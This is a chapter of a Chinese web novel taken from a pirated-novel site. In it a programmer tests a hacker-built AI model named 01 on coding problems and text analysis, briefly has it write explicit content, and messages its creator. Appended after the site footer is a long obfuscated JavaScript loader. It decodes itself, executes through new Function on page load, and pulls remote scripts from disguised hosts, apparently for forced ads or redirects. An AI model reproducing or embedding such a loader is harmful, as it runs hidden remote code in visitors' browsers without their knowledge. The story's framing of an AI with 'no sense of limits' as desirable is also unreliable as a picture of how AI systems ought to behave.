首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

201 秦雨诺:他把我当问答模型了?

下载APP,无广告、完整阅读
    其实就跟拆箱一样,周岩已经迫不及待想拆开来看一下。
    不过这种程序运行对电脑的配置要求挺高,周岩索性先回了酒店房间,把自己之前配置的电脑拿回来。
    只不过一回到房间,周岩也不急着出来了,在房间里操作起来。
    因为程序太大,周岩拿出了一块移动硬盘整体拷贝下来,一番捣鼓以后,他也打开了女黑客发来的封装文件包。
    很快,程序运行。
    依旧是黑色调,对话框什么都没有改变。
    周岩首先输入了一个基本的算法需求,要求01编写出猴子选大王的代码,这是一个算法常例,用来验证初学者是否入门,也是学校常考的题目。
    而01不负所托,在思考了几秒钟以后,很快就给出了代码。
    女黑客发过来的代码本身就是在python运行窗口中,周岩把代码复制粘贴过去,窗口出现,周岩输入了几组数值,结果得出,完美运行。
    周岩又修改了自己的几个要求,比如把猴子改成首尾相连,又去验证数值,发现依旧正确。
    这个程序看来没毛病。
    周岩又找了十几道难度不一的大厂面试题,他打算一道一道测试过去。
    先从简单的开始,周岩把三道一口气放进去,让01回答。
    结果不出所料,01都给出了正确的答案。
    周岩感觉是女黑客把算法库加进去的结果,这种验证没办法测试出01到底有多厉害。
    于是周岩提高了难度,把两道稍微困难的算法题贴进去。
    这一回01‘思考“的时间久了一点,不过很快,依旧给出了答案。
    周岩同样进行了答案验证,正确。
    于是周岩也不耐着性子一个个放了,他直接把最难的那一道算法题放进去。
    这种题目网上没有现成的答案,他也期待01的回复。
    下一秒01回应的答案依旧完整,只不过在验证的环节出现问题,报错。
    周岩把01的回答重新贴进了对话框,并告诉01错误,让他根据自己发过去的代码进行debug。
    三秒以后,01又给出了答案。
    只是验证的时候依旧报错。
    周岩这一会儿变得极有耐心,一遍又一遍地把01自己生成的错误代码贴进问答框,让他自己纠正自己的错误。
    而在纠正了差不多五次以后,01终于输出了正确的答案。
    周岩知道这就是智能对话模型在完善答案的过程,同样也是未来智能模型的正确玩法。
    本质上智能模型起的就是满足人类需求的作用。
    一开始可能对所谓的需求只有一个模糊的概念,但随着交流的深入,智能模型也越来越理解你的需求到底是什么。
    一个大的需求会包含十几个小需求,这十几个小需求一开始提问者可能并不知道,但随着和01沟通的深入,不管是提问者还是01,都能更加深入地了解需求。
    这其实也是模拟人类交流的过程,当你提出问题的时候,不可能指望别人立刻进行回答,都是在明确对方需求以后,再给出进一步的反馈,越反馈越正确,因为你提的要求越难越多,对方需要寻找的范围也越来越小,越来越精准。
    只是交流五次就回答出这个问题,周岩还是比较意外的。
    于是他改变了思路,选择提出一个大项目,让01首先提供完成这个大项目需要的步骤。
    而很快,01就给出了步骤,一共五点。
    周岩给出的要求是:对网络文本进行文本统计分析。
    01的回复是:1、导入文本。2、文本预处理。3、文本统计。4、得出结论。
    比较简单,周岩给出具体一点的要求。
    于是01的回复变成了:1、导入文本。2、对文本进行预处理,导入停用词表,使用分词工具对文本进行预处理。3、对处理后的分词文本,进行词频统计。4、对词频统计后的结果进行词频统计分析,得出结论。
    具体了一些,只不过依旧有点儿宽泛。
    不过周岩等不及了,
    他直接提出让01根据自己的步骤,生成相关的代码。
    而很快,01就生成了一系列的代码。
    周岩下载了《斗破苍穹》的文本,对这段代码进行验证,很快就得到了不错的数据,虽然不全面,但显然这个项目是能进行下去的。
    周岩又对这段代码提出改进要求,包括词频可视化,把词频用云图展现出来,包括对词频进行文本训练,从而找出词与词之间的关联。
    这一回周岩提出的要求是对两本文本进行处理,两本分别是金庸老爷子的《神雕侠侣》和《射雕英雄传》。
    很快01给出了相应的代码修改,周岩复制粘贴之后,进行测试。
    其实需求也特别简单,就是找主角之间的人物关系。
    杨过对应小龙女,那么郭靖对应什么,结果:黄蓉。
    周岩又找了杨过和郭靖分别对应的关联词,同时让01局限在人物身上,自己设计一个人物词判定代码。
    这一回01终于出现了一点错误,比如人物切分上面,会把4个词的人物变成2个词输出。
    这就是细节上的毛病了,周岩现在也不是算法小白,知道怎么改进,不过周岩更期待01给出的结果。
    于是他把这个问题粘贴给了01,而01也给出了对词频进行判定,如果两个拆分的词同时出现多次,那么判定两个拆分的词合并成为同一个词,并在字典中删除前面两个拆分词,并对已经分词好的数据进行处理,合并两个拆分词,没有分词好的就以该拆分词作为分词依据,照着分词就行。
    粘贴进去以后,周岩发现效果意外的不错。
    只是之后人物判别上也出现了一些问题,会把武器什么的加进去。
    周岩又去问01,01回答了一些代码修改,但加进去以后,依旧是老样子,没法做到细致的划分。
    周岩问01有没有什么好的办法,01说在处理之前,就把处理的人物给预设出来,这样就不会出现之后判定错误的情况。
    也就是从源头解决问题,同样也算是一件很机械的处理方式。
    但是人类有时候的处理,同样很机械,而且也是填鸭式的,就比如基因测序。
    所以对于这一点也没办法太过要求什么,01做到这个程度,其实已经挺不错了。
    周岩又预设了几个小型项目,并对01进行测试。
    终于周岩也得出了一个结论。
    那就是01已经具备了较复杂的代码作业能力。
    更加专业的周岩自身实力有限,测试不出来,不过这个01用来应付小白显然没有什么问题。
    测试完代码,
    周岩又测试01的文本完整度,比如让01自己按照要求写一段话,要求包含出现的人物,以及事件,并呈现给他01思考的过程。
    做这个的目的,周岩也希望能从中找到女黑客编写的算法逻辑。
    而因为对周岩不设门槛,01也呈现出他的思路,包括对事件进行拆分,进行排序,然后进行扩充。
    这样就得到了所谓的
    人物行为序列。
    具体的就是是这样:
    a干了干什么,a干了什么导致b干了什么。
    b说了什么,a说了什么。
    b干了什么,b干什么导致c干了什么。
    a说了什么。
    b干了什么。
    a说了什么...
    大概就是这样。
    然后对这些句子进行组合,通过自然语言处理进行更进一步的润色,比如宾状补之类的词义补充,就得到了最终的句子。
    周岩其实也明白,后来智能对话模型之所以那么火,其本质原因还是不对外界呈现出相应的步骤。
    相当于黑箱效应,这样就给人一种不明觉厉的感觉。
    很神秘,也很厉害,也因此受到很多人追捧!
    但这样的处理方式,本身就存在很大的操作(糊弄)空间。
    如果你询问的是百科类的知识,人家早早就已经准备好了文本库,你问什么答什么,本质上还是搜索引擎的功能。
    如果询问的是算法,同样,如果能拥有世界上所有算法的集合,那么对一些基本问题,智能模型甚至根本不需要调动自己的算力,直接就能给出答案。
    这跟查字典真的没有什么本质的区别。
    周岩真正想做的,其实是让机器理解人类的需求,从而实现文本到图片、到声音、到视频的跨越。
    真正实现智能模型和工具的联动,拓宽智能模型的应用场景。
    试想说出了什么指令,虚拟现实机器立刻给你呈现出相应的画面,甚至你的行为还能被判定,从而和画面进行对等交互,那呈现出来的效果,也将会是无比炸裂的。
    就比如,涩涩电影,实景交互,前世里岛国就有发展这一方面的业务。
    而人工智能,绝对能把这个业务推向一个新的高度。
    索性四下无人,周岩于是让01生成一段涩涩描写,要求不少于三百字。
    于是01在短暂的思考之后,很快就生成了大段大段的文字。
    而其中的内容,更是有点儿...刺激。
    01是不懂遮掩的,也不懂尺度的,所以呈现出来的,就是互联网上最原始的描写,但就是这样赤裸裸的描写、堆叠的文字组合,就有种特别的风格和韵味在里面。
    哪怕文字的处理方面,依旧有点儿机械,但总体的需求,显然是能够得到满足的。
    周岩甚至看这段文字。
    冷静了一会儿,周岩又打开了01的说明书看了起来,里面显然是女黑客对01做出的修改注释和一些补充,而周岩也发现了01逻辑性变强的原因。
    女黑客加入了一系列的数学方法,比如离散数学、递归、线性代数的理论,这些理论让文字的逻辑性得到加强,同时不容易出错。
    换句话说,就是把文字关进了逻辑的框架内。
    说起来这个女黑客数学水平真不是概的,哪怕周岩系统性的学过数学理论,但在应用方面,还真没这个女黑客厉害。
    显然她就是曾经算法老师口中的‘别人家孩子“,能够把数学和算法活学活用起来。
    一般像这种人才,985高校的计院,基本都是抢着要的。
    更不要说当时在进攻家园app的时候,这个女黑客能和张龙和顾远中等老牌程序员杀的你来我往,进退自如。
    要知道顾远中的团队以前是专门做安全防火墙的,结果面对女黑客的时候依旧抓不到她的尾巴,已经足以说明问题。
    周岩动了招揽的意思。
    他打开了和女黑客的聊天
    窗,发了条消息过去。
    秦雨诺这会儿正在浙大创业基地,属于建邺大学的队伍办公室里,操作着电脑。
    她喜欢安静,也因此团队给她分配了一间独立的办公室。
    周先生:【01我看了,改的挺好的。】
    秦雨诺看到周岩的消息,回道:【还是有些不完善的地方,不过我之前也说了,这不是一个人的项目,你如果想要更加完善,需要组建一个团队,对智能模型进行长时间的训练。】
    周先生:【杭城有一个4g试点基地,你听说过吗?】
    秦雨诺微微抿嘴,4g的消息她关注过,也知道正在进行全国试点,不过大多都是在沿海城市进行,就像杭城就有一个。
    她回道:【听说过,但没了解过。】
    周先生:【你觉得这个智能模型最好的应用场景在哪里?】
    倒考起她了。
    秦雨诺:【手机。】
    这就是最为正确的答案,手机的便携性可以最大发挥出这种问答模型的作用,甚至如果数据库吸收的足够多,可以给任何分类提供相应的指南。
    如果能做到细化,旅行、教育等都可以做进一步的发散。
    周先生:【代码的应用场景,不是应该适合电脑吗?】
    秦雨诺直接回复:【比较鸡肋,目前根本做不到大型算法的自运行,只能完成或者回答一些小问题,对于专业性的人来说,顶多就是一款debug和注释工具。】
    周先生:【如果是手机的话,你觉得什么类型的应用适合承载这一款产品?】
    秦雨诺微微皱起好看的眉毛,她歪了歪脑袋,没有立刻回答周岩。
    所以,他,不会把她当成问答模型了吧。
    (看完记得收藏书签方便下次阅读!)

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();